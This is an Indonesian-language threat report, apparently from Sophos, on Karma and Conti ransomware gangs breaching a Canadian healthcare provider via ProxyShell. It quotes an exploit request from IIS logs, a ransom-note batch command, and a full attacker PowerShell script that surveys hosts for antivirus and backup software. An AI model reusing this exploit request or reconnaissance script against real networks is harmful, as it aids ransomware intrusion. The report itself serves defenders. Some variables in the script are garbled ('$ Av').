Microsoft Exchange Server yang belum ditambal memungkinkan kedua pelaku ransomware masuk; Karma baru saja mencuri data, sedangkan Conti terenkripsi.
Pada awal Desember, penyedia layanan kesehatan di Kanada dihantam oleh dua pelaku ransomware terpisah dengan taktik yang sangat berbeda. Kelompok ransomware pertama, yang diidentifikasi sebagai Karma, mengekstrak data tetapi tidak mengenkripsi sistem target—karena organisasi yang ditargetkan berada dalam perawatan kesehatan, mereka mengklaim dalam catatan tebusan yang dijatuhkan pada PC target.
Kelompok kedua, yang diidentifikasi sebagai Conti, datang ke jaringan kemudian, tetapi tidak memiliki keberatan seperti itu. Kurang dari sehari setelah geng Karma menjatuhkan uang tebusan mereka, para pelaku Conti menyebarkan ransomware mereka. Tim Respon Cepat Sophos baru saja mulai berbicara dengan perusahaan yang ditargetkan beberapa jam sebelumnya, dan pelanggan belum menerapkan perangkat lunak Sophos ke bagian jaringan tempat ransomware telah dipasang oleh geng Conti. Tindakan anti-malware (non-Sophos) yang ada tidak menghalangi serangan.
Kami memiliki beberapa kasus afiliasi ransomware yang menggunakan ProxyShell untuk menembus jaringan korban baru-baru ini, termasuk afiliasi Conti. Dan kita telah melihat contoh masa lalu dari banyak aktor yang mengeksploitasi kerentanan yang sama untuk mendapatkan akses ke korban. Namun, sangat sedikit dari kasus tersebut yang melibatkan dua kelompok ransomware secara bersamaan.
Setting up shop
Kedua penyerang memperoleh entri melalui eksploitasi "ProxyShell" (menargetkan CVE-2021-34473, CVE-2021-34523, dan CVE-2021-31207 pada platform Exchange Server Microsoft). Intrusi pertama menggunakan exploit adalah pada 10 Agustus 2021, seperti yang tercatat di log akses IIS:
GET /autodiscover/autodiscover.json @evil.corp/owa/?&Email=autodiscover/autodiscover.json%3F@evil.corp&CorrelationID=<empty>;&cafeReqId=7f233041-e437-4b6a-b852-21c9b688f53c; 443 - 74.222.5.43 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 302 0 0 122"
Perintah berikutnya mengeksploitasi shell Exchange Management untuk membuat akun administratif, "Administrator" dan mengambil skrip dari tiga server jarak jauh—satu di Hong Kong, satu lagi di Iran, dan yang terakhir di Rusia.
Akun “Administrator” ini nantinya akan digunakan oleh salah satu aktor untuk gerakan lateral. Meskipun tidak dapat dikonfirmasi dari data yang tersedia, eksploitasi pertama ini kemungkinan dilakukan oleh broker akses yang kemudian menjual akses ke salah satu (atau keduanya) operator ransomware.
Serangkaian intrusi kedua menggunakan rantai eksploit ProxyShell terjadi pada 11 November. Serangan ini memasang shell web pada instance server web IIS Exchange Server.
Upaya nyata untuk menembus jaringan lebih dalam dimulai dengan sungguh-sungguh beberapa minggu kemudian. Antara 29 dan 30 November, log sistem menunjukkan lebih dari 20 upaya dan upaya yang gagal untuk terhubung ke server lain (termasuk pengontrol domain), serta koneksi yang berhasil oleh akun "Administrator" ke server aplikasi web lain dari server email. Di beberapa titik pada tanggal 30 November, akun Administrator digunakan untuk mengakses sesi RDP pada mesin virtual atau workstation, yang digunakan untuk melakukan upaya login. Aktivitas ini tampaknya terkait dengan geng Karma.
Sementara itu, akun lain yang disusupi membuat serangkaian koneksi Protokol Desktop Jarak Jauh ke server lain dari titik akhir berbeda yang disusupi, dan menjalankan perintah PowerShell yang mengunduh suar Cobalt Strike dari host yang sama yang digunakan untuk skrip pada 30 November.
Pada tanggal 30 November, setelah beberapa upaya pada sistem lain, penyerang yang menggunakan akun Administrator berhasil terhubung ke sistem lain (104[.]168.44.130), meluncurkan skrip batch yang menginstal "beacon" Cobalt Strike sebagai layanan. Cobalt Strike dikerahkan ke server email, pengontrol domain, dan beberapa sistem lain, dengan lebih banyak lagi yang ditargetkan pada hari berikutnya.
Pengumpulan juga dimulai pada 1 Desember, dengan pembuatan arsip .RAR data pada berbagai sistem.
Hal-hal menjadi berantakan
Pada tanggal 1 dan 2 Desember, geng Karma selesai mengumpulkan data dan mendorongnya ke layanan penyimpanan cloud Mega—mengeksfiltrasi 52 gigabyte file yang diarsipkan. Kemudian malware Karma disebarkan, menggunakan akun Administrator yang disusupi.
Malware mendistribusikan catatan tebusan melalui layanan yang dibuat pada setiap sistem yang ditargetkan, yang menyalin catatan dari lokasi aslinya dan meluncurkan file batch—misalnya:
%COMSPEC% /C echo del C:\KARMA_RANSOMWARE_README!!!.txt ^> %SYSTEMDRIVE%\WINDOWS\Temp\QWvVYzfhbjXaDiRa.txt > \WINDOWS\Temp\UIoTiUDorGDZImRd.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\UIoTiUDorGDZImRd.bat
Mulai bekerja pada 3 Desember, karyawan dari organisasi yang ditargetkan menemukan catatan tebusan Karma sebagai wallpaper di sekitar 20 stasiun kerja dan server. Catatan tebusan mengklaim bahwa data hanya dieksfiltrasi dan tidak dienkripsi karena geng Karma telah mengidentifikasi target sebagai organisasi perawatan kesehatan.
Pada saat itu, organisasi tersebut memanggil tim Sophos Rapid Response, dan telekonferensi awal diadakan pada tanggal 3 Desember, dan alat pemantauan disiapkan untuk mulai memahami apa yang telah terjadi. Namun dalam beberapa jam dari awal keterlibatan Respon Cepat, kelompok ransomware kedua meluncurkan serangannya.
Dua akun yang disusupi aktif pada 3 Desember—akun Administrator dan akun kedua dengan hak administratif. Salah satu akun ini memasang browser Chrome di server file utama.
Kemudian, melalui akun Administrator yang disusupi, malware disebarkan ke salah satu server organisasi. Sampel, 64.dll, diidentifikasi oleh SophosLabs sebagai Conti. Itu dimuat menggunakan regsvr.exe. Sebagai bagian dari eksekusinya, file batch, def.bat, diluncurkan, berisi perintah untuk menonaktifkan Windows Defender di server yang ditargetkan.
Ini terjadi bahkan ketika Karma menjatuhkan uang tebusan pada sistem tambahan. Sementara itu, pertahanan jaringan organisasi yang ditargetkan mendeteksi dan memblokir aktivitas Cobalt Strike yang berasal dari salah satu server email organisasi (bukan yang berfungsi sebagai titik masuk). Komunikasi Cobalt Strike C2 yang terdeteksi dikirim ke server di pusat data Belanda yang dioperasikan oleh perusahaan hosting Bulgaria. Akun kedua yang disusupi digunakan untuk mengunduh suar Cobalt Strike ke sistem tambahan di seluruh jaringan.
Tak lama setelah itu, akun kedua yang disusupi digunakan untuk memasukkan skrip ke folder lokal di server domain, skrip PowerShell itu, bernama Get-DataInfo.ps1, mengumpulkan data jaringan melalui kueri Instrumentasi Manajemen Windows dan mengirimkannya kembali ke perintah jarak jauh dan server kontrol. Bagian dari skrip dipulihkan dari log sistem; itu mencari perangkat lunak yang menarik di komputer di jaringan, termasuk perangkat lunak anti-malware dan cadangan, serta perangkat lunak lain yang mungkin mengganggu enkripsi oleh ransomware.
function Get-Software{
<#Variables#>
$av_list = @("Traps", "threat", "Sentinel", "Defence", "Defender", "Endpoint", "AV", "AntiVirus", "BitDefender", "Kaspersky", "Norton", "Avast", "WebRoo", "AVG", "ESET", "Malware", "Defender", "Sophos", "Trend", "Symantec Endpoint Protection", "Security")
$backup_list = @("Veeam", "Backup", "Recovery", "Synology", "C2", "Cloud", "Dropbox", "Acronis", "Cobian", "EaseUS", "Paragon", "IDrive" )
$exclude_list = @("KONICA", "UltraVnc", "Update", "Hitachi Storage Navigator Modular", ".NET", "Office", "Adobe", "Word", "Excel", "Outlook", "PowerPoint", "Publisher", "Java", "Office", "Learning", "Support", "done")
$computername = Get-Content ".\result\livePCs.txt" -ReadCount 0
$ErrorActionPreference = "Stop"
$Branch = "LocalMachine"
$SubBranch = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$SubBranch64 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$tabName = "SampleTable"
$table = New-Object system.Data.DataTable $table_name
$col1 = New-Object system.Data.DataColumn SystemName,([string])
$col2 = New-Object system.Data.DataColumn Type,([string])
$col3 = New-Object system.Data.DataColumn Name,([string])
$col4 = New-Object system.Data.DataColumn Hide,([string])
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)
$table.columns.add($col4)
$computers = $computername.Length
$x = 0
write-host -foregroundcolor cyan "Grubbing Software.info"
write-host -foregroundcolor cyan "Testing $computers computers, this may take a while."
foreach ($computer in $computername)
{
if (Test-Connection -ComputerName $computer -Quiet -count 2 -BufferSize 4 -Delay 1){
Try{
$registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch)
$SubKeys=$registrykey.GetSubKeyNames()
Foreach ($key in $subkeys){
$exactkey=$key
$NewSubKey=$SubBranch+"\\"+$exactkey
$ReadUninstall=$registry.OpenSubKey($NewSubKey)
$Value=$ReadUninstall.GetValue("DisplayName")
foreach($exclude in $exclude_list){
if($Value -notmatch $exclude){
foreach ($ Av in $ av_list) {
if ($ Value -match $ Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}}
foreach($backup in $backup_list){
if($Value -match $backup){
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "Backup"
$row.Name = $Value
#$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
$table.Rows.Add($row)
}}
}}}}Catch{Add-Content "$registry" -path .\result\error.txt}
Try{
$registry=
[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch)
$SubKeys=$registrykey.GetSubKeyNames()
Foreach ($key in $subkeys){
$exactkey=$key
$NewSubKey=$SubBranch+"\\"+$exactkey
$ReadUninstall=$registry.OpenSubKey($NewSubKey)
$Value=$ReadUninstall.GetValue("DisplayName")
foreach($exclude in $exclude_list){
if($Value -notmatch $exclude){
foreach ($ Av in $ av_list) {
if ($ Value -match $ Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}}
foreach($backup in $backup_list){
if($Value -match $backup){
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "Backup"
$row.Name = $Value
#$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
$table.Rows.Add($row)
}}
}}}}Catch{Add-Content "$registry" -path .\result\error.txt}
Try{
$registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch64)
$SubKeys=$registrykey.GetSubKeyNames()
Foreach ($key in $subkeys){
$exactkey=$key
$NewSubKey=$SubBranch+"\\"+$exactkey
$ReadUninstall=$registry.OpenSubKey($NewSubKey)
$Value=$ReadUninstall.GetValue("DisplayName")
foreach($exclude in $exclude_list){
if($Value -notmatch $exclude){
foreach ($ Av in $ av_list) {
if ($ Value -match $ Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}}
}}}}Catch{Add-Content "$registry" -path .\result\error.txt}
Try{
$registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch64)
$SubKeys=$registrykey.GetSubKeyNames()
Foreach ($key in $subkeys){
$exactkey=$key
$NewSubKey=$SubBranch+"\\"+$exactkey
$ReadUninstall=$registry.OpenSubKey($NewSubKey)
$Value=$ReadUninstall.GetValue("DisplayName")
foreach($exclude in $exclude_list){
if($Value -notmatch $exclude){
foreach ($ Av in $ av_list) {
if ($ Value -match $ Av) {
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "AV"
$row.Name = $Value
$table.Rows.Add($row)
}}
foreach($backup in $backup_list){
if($Value -match $backup){
$row = $table.NewRow()
$row.SystemName = $computer
$row.Type = "Backup"
$row.Name = $Value
#$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
$table.Rows.Add($row)
}}
}}}
}Catch{Add-Content "$registry" -path .\result\error.txt}
$testcomputer_progress = [int][Math]::Ceiling((($x / $computers) * 100))
# Progress bar
Write-Progress "Grubbing Software.info" -PercentComplete $testcomputer_progress -Status "Percent Complete - $testcomputer_progress%" -Id 1;
Sleep(1);
$x++;
}}
write-host -foregroundcolor cyan "Grubbing Software.info complete"
$tabCsv = $table | export-csv .\result\Software.csv -noType }
Skrip telah ada dalam aktivitas sebelumnya yang terkait dengan pintu belakang Bazar dan dengan ransomware Ryuk. (File itu sendiri tidak dipulihkan.)
Pada akhir 3 Desember, lebih banyak data (senilai 10,7 gigabyte) dieksfiltrasi ke Mega menggunakan browser Chrome yang dijatuhkan di server file pada hari sebelumnya; ini tampaknya merupakan eksfiltrasi kelompok Conti. Beberapa saat kemudian, serangan ransomware Conti dimulai dengan sungguh-sungguh, dengan file def.bat dikerahkan untuk menekan deteksi Windows Defender. File terenkripsi ransomware di drive C: sistem yang terpengaruh dan menghapus catatan tebusan Conti.
Aftermath
Serangan tebusan ganda ini menyoroti risiko yang terkait dengan kerentanan perangkat lunak terkenal yang menghadap ke Internet—setidaknya, yang diketahui oleh pelaku jahat tetapi mungkin tidak bagi organisasi yang menjalankan perangkat lunak yang terpengaruh. Semua ukuran organisasi dapat tertinggal dalam manajemen kerentanan—itulah mengapa memiliki banyak lapisan pertahanan terhadap aktivitas jahat itu penting. Perlindungan malware di server serta klien dapat menghalangi operator ransomware menggunakan server yang tidak dilindungi untuk meluncurkan serangan mereka.
Dalam hal ini, akses awal datang lebih dari 3 bulan sebelum ada aktivitas ransomware. Ini menunjukkan kemungkinan "broker akses" menemukan kerentanan ProxyShell dan menawarkannya untuk dijual di pasar atau hanya menunggu sampai afiliasi ransomware menginginkannya.
Meskipun pemantauan jaringan dan beberapa pertahanan malware, kedua penyerang dalam kasus ini sebagian besar mampu mencapai tujuan taktis mereka. Hanya beberapa sistem yang memiliki perlindungan malware Sophos pada saat serangan Conti, karena organisasi yang ditargetkan belum sempat menerapkannya. Dalam beberapa kasus di mana Sophos telah dikerahkan, perlindungan ransomware mendeteksi peluncuran Conti, tetapi ransomware sebagian besar dijalankan dari server tanpa perlindungan.
Akibatnya, banyak data organisasi dienkripsi—seperti juga catatan tebusan Karma. (Sophos mendeteksi Karma dan Conti ransomware, berdasarkan perilaku dan tanda tangan; dalam hal ini Conti terdeteksi sebagai Troj/Conti-C dan Troj/Ransom-GLU, dan diblokir oleh CryptoGuard pada sistem yang dilindungi; skrip Bazar terdeteksi oleh perilaku sebagai Mem/ bazarld-c, Mem/bazarld-d dan Mem/conti-b.)
Daftar lengkap IOC untuk serangan ini diposting di halaman GitHub SophosLabs.